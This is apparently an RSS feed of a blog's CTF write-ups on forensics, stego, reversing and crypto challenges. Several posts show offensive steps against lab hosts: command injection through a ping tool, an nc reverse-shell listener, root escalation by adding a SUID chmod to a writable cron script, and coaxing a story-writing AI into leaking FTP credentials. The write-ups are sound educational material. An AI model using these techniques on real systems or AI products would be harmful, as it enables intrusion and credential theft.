$ ./solve $(base64 -d æbleskiver.runes)
FDCA{D3-L1gG3r-i-mU5p3Lh31M}
]]>FDCA Xmas 2024 Day 6 - Hvor lagde du filerne, Thor?https://osiriz.dev/posts/2024/12/fdca-xmas-2024-day-6-hvor-lagde-du-filerne-thor/Tue, 24 Dec 2024 15:59:06 +0100https://osiriz.dev/posts/2024/12/fdca-xmas-2024-day-6-hvor-lagde-du-filerne-thor/Challenge Description Danish (original) Vi har modtaget kritisk efterretning fra Asgård: Jætterne har stjålet hemmelige dokumenter fra gudernes arkiver, og de planlægger at bruge informationerne til at ødelægge Yggdrasil én gang for alle. Det eneste spor vi har, er et billede fundet efterladt i en af Jætternes skjulte lejr. Odin mener, at dette billede kan indeholde skjulte data, der kan føre os til de stjålne dokumenter. Din opgave er at undersøge billedet for skjulte informationer.Challenge Description

Danish (original)

Vi har modtaget kritisk efterretning fra Asgård: Jætterne har stjålet hemmelige dokumenter fra gudernes arkiver, og de planlægger at bruge informationerne til at ødelægge Yggdrasil én gang for alle. Det eneste spor vi har, er et billede fundet efterladt i en af Jætternes skjulte lejr. Odin mener, at dette billede kan indeholde skjulte data, der kan føre os til de stjålne dokumenter.

Din opgave er at undersøge billedet for skjulte informationer. Kan du finde ud af, hvad Jætterne har gemt? Jætterne har været snedige og sat flere forhindringer på vejen. Held og lykke, for Asgårds skæbne afhænger af dig!

English (from chatgpt)

We have received critical intelligence from Asgard: The giants have stolen secret documents from the gods’ archives, and they plan to use the information to destroy Yggdrasil once and for all. The only clue we have is a picture found abandoned in one of the giants’ hidden camps. Odin believes that this picture may contain hidden data that could lead us to the stolen documents.

Your task is to examine the picture for hidden information. Can you figure out what the giants have concealed? The giants have been clever and placed several obstacles in the way. Good luck, for Asgard’s fate depends on you!

File

We are also given the following file:

Solution

We unzip the file and see that is contains a jpeg image called Yggdrasil.jpeg:

$ unzip Yggdrasil.zip
Archive: Yggdrasil.zip
  inflating: Yggdrasil.jpeg

Since it is an image steghide with an empty password is nearly always worth trying:

$ steghide extract -sf Yggdrasil.jpeg
Enter passphrase:
wrote extracted data to "SuperHemmeligt.zip"

Bingo!

The zip is sadly password protected:

$ unzip SuperHemmeligt.zip
Archive: SuperHemmeligt.zip
   creating: SuperHemmeligt/
   creating: SuperHemmeligt/Papirkurven/
   creating: SuperHemmeligt/Papirkurven/HemmeligePlaner/
[SuperHemmeligt.zip] SuperHemmeligt/Papirkurven/HemmeligePlaner/Key.jpeg password:

So lets try and crack it with John The Ripper:

$ zip2john SuperHemmeligt.zip > hash
[expunged for readability]

$ john --wordlist=rockyou.txt hash
Created directory: /home/osiriz/.john
[hibari:26592] shmem: mmap: an error occurred while determining whether or not /tmp/ompi.hibari.1000/jf.0/404881408/shared_mem_cuda_pool.hibari could be created.
[hibari:26592] create_and_attach: unable to create shared memory BTL coordinating structure :: size 134217728
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
ragnarok         (SuperHemmeligt.zip)
1g 0:00:00:00 DONE (2024-12-06 13:59) 50.00g/s 819200p/s 819200c/s 819200C/s 123456..christal
Use the "--show" option to display all of the cracked passwords reliably
Session completed

We can see that the password is ragnarok

$ unzip SuperHemmeligt.zip
Archive:  SuperHemmeligt.zip
[SuperHemmeligt.zip] SuperHemmeligt/Papirkurven/HemmeligePlaner/Key.jpeg password:
  inflating: SuperHemmeligt/Papirkurven/HemmeligePlaner/Key.jpeg
  inflating: SuperHemmeligt/Papirkurven/HemmeligePlaner/Mjolnir_Jail.jpeg
  inflating: SuperHemmeligt/Papirkurven/HemmeligePlaner/Hemmelig_Plan.docx
  inflating: SuperHemmeligt/Papirkurven/HemmeligePlaner/Dagger.jpeg
   creating: SuperHemmeligt/ThorMemes/
  inflating: SuperHemmeligt/ThorMemes/6po24.jpg
  inflating: SuperHemmeligt/ThorMemes/47ay1sk2ub011.jpg
  inflating: SuperHemmeligt/ThorMemes/1002098035-photo-u1.jpg
  inflating: SuperHemmeligt/ThorMemes/images.jpg
  inflating: SuperHemmeligt/ThorMemes/05c101f998e69cf5ae48b03cf8146cd7.jpg
  inflating: SuperHemmeligt/ThorMemes/tumblr_8693791f74757b0a162ca0f23b1db2d7_941e022a_640.jpg
   creating: SuperHemmeligt/KageOpskrifter til jul/
  inflating: SuperHemmeligt/KageOpskrifter til jul/Kanelsnegle kage opskrift.docx
 extracting: SuperHemmeligt/KageOpskrifter til jul/Drommekage.webp
  inflating: SuperHemmeligt/KageOpskrifter til jul/Drommekage opskrift.docx

Reading SuperHemmeligt/Papirkurven/HemmeligePlaner/Hemmelig_Plan.docx we know that they are hiding data in metadata, so lets look at the metadata of the jpg image in the same folder:

$ exiftool SuperHemmeligt/Papirkurven/HemmeligePlaner/Mjolnir_Jail.jpeg
ExifTool Version Number         : 13.05
File Name                       : Mjolnir_Jail.jpeg
Directory                       : SuperHemmeligt/Papirkurven/HemmeligePlaner
File Size                       : 37 kB
File Modification Date/Time     : 2024:11:27 23:56:20+01:00
File Access Date/Time           : 2024:11:28 00:05:58+01:00
File Inode Change Date/Time     : 2024:12:06 14:01:05+01:00
File Permissions                : -rw-rw-r--
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Resolution Unit                 : None
X Resolution                    : 1
Y Resolution                    : 1
XMP Toolkit                     : Image::ExifTool 12.76
Author                          : RkRDQXtteV9wcjNjMW91c19kNHQ0fQ==
Image Width                     : 1024
Image Height                    : 1024
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 1024x1024
Megapixels                      : 1.0

$ echo "RkRDQXtteV9wcjNjMW91c19kNHQ0fQ==" | base64 -d
FDCA{my_pr3c1ous_d4t4}
]]>FDCA Xmas 2024 Day 5 - The Code for Christmashttps://osiriz.dev/posts/2024/12/fdca-xmas-2024-day-5-the-code-for-christmas/Tue, 24 Dec 2024 15:59:05 +0100https://osiriz.dev/posts/2024/12/fdca-xmas-2024-day-5-the-code-for-christmas/Challenge Description Danish (original) Julen nærmer sig med stormskridt, og Thor har igen formået at skabe problemer. Denne gang har han mistet den hemmelige kode, der skulle aktiveres for at starte festen i Asgård! Odin var overbevist om, at en digital løsning var fremtiden og havde fået Loke til at udvikle et system, hvor kun den rette kode kunne låse op for Valhallas julefest. Men selvfølgelig havde Loke en skjult dagsorden, og nu vil han ikke give koden tilbage og skrev bare, “Alt hvad der skal bruges, er i systemet.Challenge Description

Danish (original)

Julen nærmer sig med stormskridt, og Thor har igen formået at skabe problemer. Denne gang har han mistet den hemmelige kode, der skulle aktiveres for at starte festen i Asgård! Odin var overbevist om, at en digital løsning var fremtiden og havde fået Loke til at udvikle et system, hvor kun den rette kode kunne låse op for Valhallas julefest.

Men selvfølgelig havde Loke en skjult dagsorden, og nu vil han ikke give koden tilbage og skrev bare, “Alt hvad der skal bruges, er i systemet. God jul… eller måske ikke…”

English (from chatgpt)

Christmas is approaching rapidly, and Thor has once again managed to cause trouble. This time, he has lost the secret code that was supposed to be activated to start the party in Asgard! Odin was convinced that a digital solution was the future and had asked Loki to develop a system where only the correct code could unlock the Christmas party in Valhalla.

But of course, Loki had a hidden agenda, and now he refuses to give the code back, simply writing, “Everything you need is in the system. Merry Christmas… or maybe not…”

File

We are also given the following file:

Solution

Using the file command we can see that it is a .NET assembly:

$ file jul.dll
jul.dll: PE32+ executable for MS Windows 4.00 (console), x86-64 Mono/.Net assembly, 2 sections

This means that we can likely recover some or all of the source code using something like dnSpy, ILSpy, or in my case AvaloniaILSpy.

Opening the code in AvaloniaILSpy and navigating to the main function we get the following:

// FlagSpiseren
using System;

public static void Main()
{
	Console.WriteLine("HA! Jeg har gemt flaget i min mave og du finder det ALDRIG!");
	byte[] array = new byte[22]
	{
		12, 33, 36, 9, 26, 22, 41, 22, 29, 13,
		107, 9, 19, 74, 8, 29, 44, 76, 17, 61,
		1, 15
	};
	string text = "JegHarGemtFlagetBagXor";
	byte[] array2 = new byte[text.Length];
	for (int i = 0; i < text.Length; i++)
	{
		array2[i] = (byte)(text[i] ^ array[i]);
	}
}

We can quickly do the same operations in python:

first = [12, 33, 36, 9, 26, 22, 41, 22, 29, 13,
         107, 9, 19, 74, 8, 29, 44, 76, 17, 61,
         1, 15]

second = b'JegHarGemtFlagetBagXor'

flag = bytes([
  x ^ y for x, y in zip(first, second)
])

print(flag.decode())

And we get the flag: FDCA{dnspy-er-min-ven}

]]>FDCA Xmas 2024 Day 4 - Jætternes Spion Hotlinehttps://osiriz.dev/posts/2024/12/fdca-xmas-2024-day-4-j%C3%A6tternes-spion-hotline/Tue, 24 Dec 2024 15:59:04 +0100https://osiriz.dev/posts/2024/12/fdca-xmas-2024-day-4-j%C3%A6tternes-spion-hotline/Challenge Description Danish (original) Vi har modtaget efterretning om, at en spion i Asgard har været i kontakt med jætternes spion-hotline. Vi har opsnappet et telefonopkald, hvor spionen indtastede deres spionnummer. Vi har brug for din hjælp til at identificere det indtastede spionnummer, så vi kan komme tættere på at afsløre deres identitet. Lav flaget ud fra FDCA{spionnummer} Flag eksempel: FDCA{123456789} English (from chatgpt) We have received intelligence that a spy in Asgard has been in contact with the giants&rsquo; spy hotline.Challenge Description

Danish (original)

Vi har modtaget efterretning om, at en spion i Asgard har været i kontakt med jætternes spion-hotline. Vi har opsnappet et telefonopkald, hvor spionen indtastede deres spionnummer.

Vi har brug for din hjælp til at identificere det indtastede spionnummer, så vi kan komme tættere på at afsløre deres identitet.

Lav flaget ud fra FDCA{spionnummer}

Flag eksempel: FDCA{123456789}

English (from chatgpt)

We have received intelligence that a spy in Asgard has been in contact with the giants’ spy hotline. We have intercepted a phone call where the spy entered their spy number.

We need your help to identify the entered spy number so that we can get closer to revealing their identity.

Create the flag based on FDCA{spy_number}

Flag example: FDCA{123456789}

File

We are also given the following file:

Solution

Pressing numbers on the phone produces DTMF tones, so we can just use this DTMF Decoder to get the code: FDCA{012500118}

]]>FDCA Xmas 2024 Day 3 - Flag-tyverihttps://osiriz.dev/posts/2024/12/fdca-xmas-2024-day-3-flag-tyveri/Tue, 24 Dec 2024 15:59:03 +0100https://osiriz.dev/posts/2024/12/fdca-xmas-2024-day-3-flag-tyveri/Challenge Description Danish (original) Jætterne har igen skabt problemer! Thor har opdaget, at nogen har stjålet et vigtigt flag fra hans system. Sporene peger på, at det er sket lidt efter lidt. Thor har sendt os en logfil, men vi har brug for din hjælp til at finde ud af, hvad der er blevet stjålet. English (from chatgpt) The giants have caused trouble again! Thor has discovered that someone has stolen an important flag from his system.Challenge Description

Danish (original)

Jætterne har igen skabt problemer! Thor har opdaget, at nogen har stjålet et vigtigt flag fra hans system. Sporene peger på, at det er sket lidt efter lidt. Thor har sendt os en logfil, men vi har brug for din hjælp til at finde ud af, hvad der er blevet stjålet.

English (from chatgpt)

The giants have caused trouble again! Thor has discovered that someone has stolen an important flag from his system. The traces suggest that it happened gradually. Thor has sent us a log file, but we need your help to figure out what has been stolen.

File

We are also given the following file:

Solution

Looking at the events from the file using evtx_dump I saw some urls in the form of <char>.<chars>.hackerneivalhalla.dk, so I ran it though grep to get all the urls:

$ evtx_dump handout.evtx | \
> grep -Eo '.\..*\.hackerneivalhalla\.dk'
F.e3y8h.hackerneivalhalla.dk
D.5gukm.hackerneivalhalla.dk
C.ewke2.hackerneivalhalla.dk
A.deir0.hackerneivalhalla.dk
{.h9dmt.hackerneivalhalla.dk
V.2922g.hackerneivalhalla.dk
a.te1gj.hackerneivalhalla.dk
l.f3t74.hackerneivalhalla.dk
h.bc26p.hackerneivalhalla.dk
a.pec4y.hackerneivalhalla.dk
l.0xomq.hackerneivalhalla.dk
l.2u5oy.hackerneivalhalla.dk
a.v4e93.hackerneivalhalla.dk
_.4r878.hackerneivalhalla.dk
H.10uq9.hackerneivalhalla.dk
a.2v9q3.hackerneivalhalla.dk
c.1774f.hackerneivalhalla.dk
k.uluti.hackerneivalhalla.dk
e.d7eke.hackerneivalhalla.dk
r.ok5z6.hackerneivalhalla.dk
n.r3llb.hackerneivalhalla.dk
e.js8z7.hackerneivalhalla.dk
_.o6sd3.hackerneivalhalla.dk
E.2pl5r.hackerneivalhalla.dk
r.qit72.hackerneivalhalla.dk
_.60nac.hackerneivalhalla.dk
S.bow48.hackerneivalhalla.dk
n.xw4jc.hackerneivalhalla.dk
u.p4q9h.hackerneivalhalla.dk
}.jbcnd.hackerneivalhalla.dk

$ # Nicer formatting
$ evtx_dump handout.evtx | \
> grep -Eo '.\..*\.hackerneivalhalla\.dk' | \
> sed -E 's/\..*\.hackerneivalhalla\.dk//' | \
> tr -d '\n'
FDCA{Valhalla_Hackerne_Er_Snu}
]]>FDCA Xmas 2024 Day 2 - Gaven der Forsvandthttps://osiriz.dev/posts/2024/12/fdca-xmas-2024-day-2-gaven-der-forsvandt/Tue, 24 Dec 2024 15:59:02 +0100https://osiriz.dev/posts/2024/12/fdca-xmas-2024-day-2-gaven-der-forsvandt/Challenge Description Danish (original) Midt under juleforberedelserne i Valhalla er en vigtig gave til guderne forsvundet fra en af de fælles computere, der blev brugt i gave hallen! Gaven, tiltænkt Thor, var omhyggeligt gemt i de digitale haller, men nu er den væk fra computeren. Odin er rasende og mistænker, at Loke står bag endnu et snedigt trick for at skabe kaos i julefreden. Freja mener at have set Loke gå rundt med et USB-stick.Challenge Description

Danish (original)

Midt under juleforberedelserne i Valhalla er en vigtig gave til guderne forsvundet fra en af de fælles computere, der blev brugt i gave hallen!

Gaven, tiltænkt Thor, var omhyggeligt gemt i de digitale haller, men nu er den væk fra computeren. Odin er rasende og mistænker, at Loke står bag endnu et snedigt trick for at skabe kaos i julefreden. Freja mener at have set Loke gå rundt med et USB-stick.

Vi har fået noget data fra maskinen, måske du kan finde noget?

English (from chatgpt)

During the Christmas preparations in Valhalla, an important gift for the gods has disappeared from one of the shared computers used in the gift hall!

The gift, intended for Thor, was carefully stored in the digital halls, but now it is missing from the computer. Odin is furious and suspects that Loki is behind yet another clever trick to create chaos during the Christmas peace. Freya believes she saw Loki walking around with a USB stick.

We have received some data from the machine, maybe you can find something?

File

We are also given the following file:

Solution

I went with the very low effort solution of just grepping for FDCA and RkRDQ (first few chars of the base64 version of FDCA) as follows:

$ grep "RkRDQ" -r .
grep: ./C/Windows/System32/config/SYSTEM.LOG1: binary file matches
grep: ./C/Windows/System32/config/SYSTEM: binary file matches
grep: ./C/Users/chri8/NTUSER.DAT: binary file matches
grep: ./C/Users/chri8/ntuser.dat.LOG1: binary file matches

The base64 grep matched ./C/Users/chri8/NTUSER.DAT, so I ran strings on it into grep and decoded the base64:

$ strings C/Users/chri8/NTUSER.DAT | grep "RkRDQ"
RkRDQXtVU0JfRjBSM041MUM1X1JfTjFDM30=
RkRDQXtVU0JfRjBSM041MUM1X1JfTjFDM30=
RkRDQXtVU0JfRjBSM041MUM1X1JfTjFDM30=

$ echo "RkRDQXtVU0JfRjBSM041MUM1X1JfTjFDM30=" | base64 -d
FDCA{USB_F0R3N51C5_R_N1C3}
]]>FDCA Xmas 2024 Day 1 - Thors Digitale Ragnarokhttps://osiriz.dev/posts/2024/12/fdca-xmas-2024-day-1-thors-digitale-ragnarok/Tue, 24 Dec 2024 15:59:01 +0100https://osiriz.dev/posts/2024/12/fdca-xmas-2024-day-1-thors-digitale-ragnarok/Challenge Description Danish (original) Thor har fået sin første smartphone – og det går ikke helt som planlagt. I sin begejstring har han delt mere, end hvad godt er, og nu står Asgård over for en potentiel katastrofe. Loke har opsnappet hemmelig information, og jætterne planlægger et angreb på Bifrost-porten. Din opgave er at undersøge Thors online-profil og finde frem til: Vagtskifte Tidspunkt ved Bifrost. Kodeordet til våbenkammeret. Hvornår Heimdal holder pause.Challenge Description

Danish (original)

Thor har fået sin første smartphone – og det går ikke helt som planlagt. I sin begejstring har han delt mere, end hvad godt er, og nu står Asgård over for en potentiel katastrofe. Loke har opsnappet hemmelig information, og jætterne planlægger et angreb på Bifrost-porten.

Din opgave er at undersøge Thors online-profil og finde frem til:

  • Vagtskifte Tidspunkt ved Bifrost.
  • Kodeordet til våbenkammeret.
  • Hvornår Heimdal holder pause.
  • Dato for Lokes planlagte angreb.

Pas på – Loke er snu, og han gemmer sine spor godt.

Hint: Thor elsker BlueSky og går under navnet @thorthundergod90.bsky.social

Lav flaget i formatet: FDCA{vagtskiftetidspunkt_kodeord_HeimdalsPause_angrebsdato}

Flag Eksempel: FDCA{15:00_GodKode123_19:00_23/11/2024}

INFO: Du behøver ikke at oprette en BlueSky konto for at kunne finde svarene.

English (from chatgpt)

Thor has gotten his first smartphone – and it’s not going as planned. In his excitement, he has shared more than he should, and now Asgard is facing a potential disaster. Loki has intercepted secret information, and the giants are planning an attack on the Bifrost gate.

Your task is to investigate Thor’s online profile and find out:

  • Shift change time at Bifrost.
  • The password to the armory.
  • When Heimdal takes his break.
  • The date of Loki’s planned attack.

Be careful – Loki is crafty, and he hides his tracks well.

Hint: Thor loves BlueSky and goes by the name @thorthundergod90.bsky.social.

Make the flag in the format: FDCA{shiftchangetime_password_HeimdalsBreak_attackdate}

Flag Example: FDCA{15:00_GoodCode123_19:00_23/11/2024}

INFO: You do not need to create a BlueSky account to find the answers.

Solution

The first 3 parts were easy:

  • Shift change from hashtag here: 12:00
  • Password from image here: THUNDER9000
  • Heimdals break from here: 14:30

The attack date is a bit harder but this post was one of the better hints at 25/12/2024. I ended up kinda bruteforcing the possible dates.

So the flag is FDCA{12:00_THUNDER9000_14:30_25/12/2024}

]]>DDC 2024 Regionals - Challenge 21https://osiriz.dev/posts/2024/04/ddc-2024-regionals-challenge-21/Wed, 24 Apr 2024 11:00:00 +0200https://osiriz.dev/posts/2024/04/ddc-2024-regionals-challenge-21/We are given the following url: http://toolbox.hkn Visiting the site we see that it is a toolbox of network diagnostic tools. If we look at the ping tool we can see that we are able to run other bash commands by separating them with a ;: We sadly cant just read the flag: We can see that this is because it is owned by root and only root has read permissions: So lets upload a revshell so then try and privesc from there.We are given the following url: http://toolbox.hkn

Visiting the site we see that it is a toolbox of network diagnostic tools.

If we look at the ping tool we can see that we are able to run other bash commands by separating them with a ;:

We sadly cant just read the flag:

We can see that this is because it is owned by root and only root has read permissions:

So lets upload a revshell so then try and privesc from there.

We create a revshell using https://revshells.com, setup a listener (nc -lvnp 9001) and then execute on the target (I saved the revshell to a local file and then served that file with python -m http.server):

And we get a shell:

$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [25.145.240.254] from (UNKNOWN) [25.145.240.1] 56300
flask@9013395f3c04:/www$ ls
ls
app  flag.txt  instance  run.py

And privesc from here is deceptively easy, running linpeas.sh doesn’t really give any useful privesc methods, but you can actually just switch to root using the password root:

flask@9013395f3c04:/www$ su root
su root
Password: root

root@9013395f3c04:/www# cat flag.txt
cat flag.txt
DDC{B2iZ71MHnxTV0oaMDWZDsm2Qr}
]]>DDC 2024 Regionals - Cron my tabhttps://osiriz.dev/posts/2024/04/ddc-2024-regionals-cron-my-tab/Wed, 24 Apr 2024 11:00:00 +0200https://osiriz.dev/posts/2024/04/ddc-2024-regionals-cron-my-tab/We are told that we can login over ssh at crontab.hkn using the username:password pair doomguy:doomguysEcReTpAsSwOrD, and to run tail -f read.sh.log. Logging in we are also told that crontab is running /etc/read.sh. So lets check the crontab, checking in /etc/cron.d/ we find execute-cron containing the line: * * * * * /etc/read.sh &gt;&gt; /home/doomguy/read.sh.log So the /etc/read.sh script is run every minute, lets check the permissions on the script:We are told that we can login over ssh at crontab.hkn using the username:password pair doomguy:doomguysEcReTpAsSwOrD, and to run tail -f read.sh.log. Logging in we are also told that crontab is running /etc/read.sh.

So lets check the crontab, checking in /etc/cron.d/ we find execute-cron containing the line:

* * * * * /etc/read.sh >> /home/doomguy/read.sh.log

So the /etc/read.sh script is run every minute, lets check the permissions on the script:

$ ls -l /etc/read.sh
---x-w---- 1 root root-traverse 50 Apr 13 22:37 /etc/read.sh

Hmm… we cant read the file, the group on the file is root-traverse and can have write permissions, are we in the root-traverse group?

$ groups
doomguy root-traverse

Yes, we are, so lets insert a command to let us become root, for this I chose to set the suid bit on /bin/bash so I could become root using /bin/bash -p:

$ echo "chmod u+s /bin/bash" >> /etc/read.sh

And then waiting a minute, we see that /bin/bash has the suid bit set and we become root:

$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1437832 Jan  7  2023 /bin/bash

$ /bin/bash -p
# cd /root

# ls
844bed697a9db4fd6a6aa5178cd2123flag.txt  hehe.txt

# cat 844bed697a9db4fd6a6aa5178cd2123flag.txt
DDC{v3ry-funny-cr0n-j0b}
]]>DDC 2024 Qualification - Affinityhttps://osiriz.dev/posts/2024/03/ddc-2024-qualification-affinity/Mon, 18 Mar 2024 08:00:00 +0100https://osiriz.dev/posts/2024/03/ddc-2024-qualification-affinity/We are given the following file: affinity.zip The task description introduces the affine cipher that works by encrypting cleartext x to ciphertext y in the following way: y = (ax + b) mod m for some constants a, b and m. We can see this in the gen.py script: #!/usr/bin/env python from math import gcd import random import binascii # Encrypt the text using the affine cipher y = (ax + b) mod m def affine_encrypt(text, a, b, m): result = 0 for letter in text: c = (a * letter + b) % m result = (result &lt;&lt; 8) + c return hex(result) # Generate keys for the affine cipher and encrypt the flag if __name__ == &#39;__main__&#39;: with open(&#39;flag.We are given the following file:

The task description introduces the affine cipher that works by encrypting cleartext x to ciphertext y in the following way: y = (ax + b) mod m for some constants a, b and m.

We can see this in the gen.py script:

#!/usr/bin/env python
from math import gcd
import random
import binascii

# Encrypt the text using the affine cipher y = (ax + b) mod m
def affine_encrypt(text, a, b, m):
    result = 0
    for letter in text:
        c = (a * letter + b) % m
        result = (result << 8) + c
    return hex(result)

# Generate keys for the affine cipher and encrypt the flag
if __name__ == '__main__':
    with open('flag.txt', 'rb') as file:
        plaintext = file.read().strip(b'\n')

    m = 256
    a = random.randint(1, m)
    while gcd(a, m) != 1:
        a = random.randint(1, m)
    b = random.randint(0, m)

    print(f'Key = {(a, b)}')
    ciphertext = affine_encrypt(plaintext, a, b, m)

    with open('output.txt', 'w') as file:
        file.write(ciphertext)

We are also given the hex ciphertext in output.txt:

0xe9e962ea422bdc1d39965e2b341de5dc260f5050c9b2260f960f016c0f50342b6c39dcf8

We can notice that the ciphertext starts with e9e962 which would map the the flag prefix of DDC, so lets find constants a and b that satisfice this:

from math import gcd

m = 256
ciphertext = bytes.fromhex('e9e962')
crib = b'DDC'

for a in range(1, m+1):
  if gcd(a, m) != 1:
    continue
  for b in range(0, m+1):
    candidate = True

    for y, x in zip(ciphertext, crib):
      if (a * y + b) % m != x:
        candidate = False
        break

    if candidate: print(f"Pair found: ({a}, {b})")

When we run this we get Pair found: (55, 53)

We can then decrypt the cipher in the following way:

m = 256
a = 55
b = 53

cipher = bytes.fromhex('e9e962ea422bdc1d39965e2b341de5dc260f5050c9b2260f960f016c0f50342b6c39dcf8')

result = 0

for c in cipher:
  d = (a * c + b) % m
  result = (result << 8) + d

print(hex(result))

Which gives us: 0x4444437b63727970746f6772617068795f6e656564735f6e6f6e6c696e6561726974797d which from hex gives is DDC{cryptography_needs_nonlinearity}.

]]>DDC 2024 Qualification - Campfire Storieshttps://osiriz.dev/posts/2024/03/ddc-2024-qualification-campfire-stories/Mon, 18 Mar 2024 08:00:00 +0100https://osiriz.dev/posts/2024/03/ddc-2024-qualification-campfire-stories/We are given the website campfire-stories.hkn which looks like this: We can write the beginning of a story and the AI will continue it for us. Looking at robots.txt we get: # https://www.robotstxt.org/robotstxt.html # Maybe we should not train on company data? # Could our ftp credentials be leaked by the AI? # Probably not a problem. Nobody writes stories about ftp anyway # datacenter.campfire-stories.hkn should still be safe right? User-agent: * Disallow: / Allow: /$ Allow: /share/* Allow: /images/* Allow: /static/* Which seems to suggest that the AI bot can leak the ftp credentials, so let&rsquo;s try: Convert Z3B0OTAwMA== from base64 gives us gpt9000, so lets login to datacenter.We are given the website campfire-stories.hkn which looks like this:

We can write the beginning of a story and the AI will continue it for us.

Looking at robots.txt we get:

# https://www.robotstxt.org/robotstxt.html
# Maybe we should not train on company data?
# Could our ftp credentials be leaked by the AI?
# Probably not a problem. Nobody writes stories about ftp anyway
# datacenter.campfire-stories.hkn should still be safe right?
User-agent: *
Disallow: /
Allow: /$
Allow: /share/*
Allow: /images/*
Allow: /static/*

Which seems to suggest that the AI bot can leak the ftp credentials, so let’s try:

Convert Z3B0OTAwMA== from base64 gives us gpt9000, so lets login to datacenter.campfire-stories.hkn and get the file:

$ ftp datacenter.campfire-stories.hkn
Connected to datacenter.campfire-stories.hkn.
220 pyftpdlib 1.5.9 ready.
Name (datacenter.campfire-stories.hkn:haaukins): admin
331 Username ok, send password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering extended passive mode (|||21011|).
125 Data connection already open. Transfer starting.
-rw-rw-rw-   1 root     root     22502646 Jan 09 08:25 train.txt
226 Transfer complete.
ftp> get train.txt
local: train.txt remote: train.txt
229 Entering extended passive mode (|||21003|).
125 Data connection already open. Transfer starting.
100% |***********************************| 21975 KiB   98.79 MiB/s    00:00 ETA
226 Transfer complete.
22502646 bytes received in 00:00 (98.62 MiB/s)
ftp> exit
221 Goodbye.

$ grep "DDC{" train.txt
DDC{Im-happy-Dave-I-see-you-found-the-flag}
]]>DDC 2024 Qualification - They See Me Subbin, They Hatinghttps://osiriz.dev/posts/2024/03/ddc-2024-qualification-they-see-me-subbin-they-hating/Mon, 18 Mar 2024 08:00:00 +0100https://osiriz.dev/posts/2024/03/ddc-2024-qualification-they-see-me-subbin-they-hating/We are given the following text: alojsgegvly uqecm teag jvayva regnqllo gqeahvyu uqmegkw ueomd cmd redmd cvdalzmq dgqmeo bnvkdg p ylzmkgw eyekwdg jqvmdg zmqpmvanyvd jqmddsqm dvmomyd nqd od djed nezm on alcmd djlhm uvqk mijlqgd danlkeqdnvjd oeysteagsqvyu zmqrek blqhmqd rllk dnm aloovggmc gmqqvglqvmd cvuvgek vytksmyamc gnlodly rmggw dvuy glgekkw alydgeygkw qloeygva gmqo bvyud uqmmam oegg avekvd tmmd djmavtw clyekc eqod xsm ueooe jkewvyu olcvtw be mkdm jsojd qeqm gnsycmq tklbd neo nsyg reahsj evqjkeym alzmqd jqltmddlq tklwc dgvah zmyclqd teqovyu umygkmoey qmmt jeg tedgmq qmjkvaegvly uorn qlahmg ymbeqh euvyu dgeqdomqaneyg fscuomyg yly lqek gnmge qmomormq aml cmakeqegvly ecmxsegm bvkckvtm eolsyg qu csyaey rmccvyu yk oeqgvy ecovyvdgqeglq ywkly klbd vyaksdvly uvd dmmd vygmqmdgvyu cmdgqlw aljvmc hegvm jljskegvlyd bvtm jqldglqmd bednmq dmaglq jeqgd vygmqdgegm ljg dlqg jmqtmagkw migmydvlyd osdgeyu dmmhmq vgmo dmovyeq gqeyddmisek eaamdd dvuyvtvaeyg dhvj dsjmqzvdlq olgnmq qmcsavyu ovcyvung rkmdd qeo dglqmc neqcalzmq jqlamcsqmd oeg mieojkmd egoldjnmqva evqkvym vygmqmdgmc qmecd mojklw vytqvyumomyg qmjkeamc amygqm qlde hvkkmc av gsrm gmyc gdsyeov owmqd ieyei kvdg oewlq gvggmy bnvkdg aneyamkklq oevygevyd avqasodgeyamd qekmvun kvervkvgw olydgmq rqectlqc omedsqmomyg jwgnly zmumgeqvey eygnqljlkluw uvzm vygmycmc rq aegd ecc djlqgd qecvegvly dezmc jqlzvyavek laasqd gei daqvjgvyu kmggmq gqezmkmq eodgmqceo aneormq acg aneqeagmqd qmomormqmc gqmedsqmq oevkgl eczmqgvdvyu cmah ae bmc qmdvcmyg anqlyvakm dgmjd yezw sqrey rqmedg olqek mijldsqm lsung omedsqm kvyh alytvusqmc clyegm jskk vytmagvlyd rh djmavekd cllqd dmkkvyu qmjqmdmygegvly ovysd gmkmjnlyw alksoyd dmkkd mimasgvzmd deo alqqmdjlycvyu qvah glkmqeyam tlaek fmttqmw tmegsqmc rsggly glsanmc rwgm cegm dsrkvom oo gneyhduvzvyu tvggmc oedly jmymgqegvly clomdgva tlasd aeojd djmyamq gtg rkmdd key ezlvcvyu bmmhmyc eumc reqqvmqd rsah dvoskegvly rklu alygvymyg eczlaegm bmkdn zmqrek bnldm bvkmw alljmqegvzm gvomkvym asdglovpmc jlsq eddsojgvlyd rklahd ca mdgegmd jsqdsm nggj jkeamc mqqlq omcvaek ecljgvly aeko ejjqlean ueovyu lqcvyeqw dlomgnvyu oegmqvek aedsek keor eylywolsd ymvunrlq dbvganmd sb bmkkd alygmyg qmovyc yevkd nvunmdg qeyumqd aekkvyu nekt rh teggw mijl jlkvdnmc desam dgscvmc gneyhd cmolydgqegm nlrrw et yehmc qmtmqmyamd vyclymdve mcvyrsqun aneqgd qlrsdg qmfmagmc dgeqd neydmy rllo miamdd ajs tvko zvlkmyam rsd jkewreah clomdgva om jmyekgvmd gqvzve uqlzm qvungd cqso sycmqdgeyc bnmqmed alojsgegvlyek laasjvmc lqvmygek oequvy rlysd mijkvavg alyt ekvzm ymbaedgkm ymmcmc vyhfmg jsrkvdnmq qmyevddeyam ekgmqyegvzmkw jsr dsrfmagvzm jlvyg lsq gre uylom cwyeovad uvqkd alkkmagmc anqvdgveyvgw eyekwpm bekkeam alek gqeydvgvly tvung mijmycvgsqm olglqawakm jdwanlkluvaek by deqen qeavek dgljd alygeagvyu jqevqvm tvdnvyu yshm keah uqed kmet aejvglk jct mygqvmd eqmye umluqejnw jsppkmd cvdymw eqvdm db mzeksegmc rmqhmkmw vycveye migmydvlyd myclqdmc alydmqzegvly ovyvoso yskk clm escvg dedheganmbey ymbdjejmqd odu 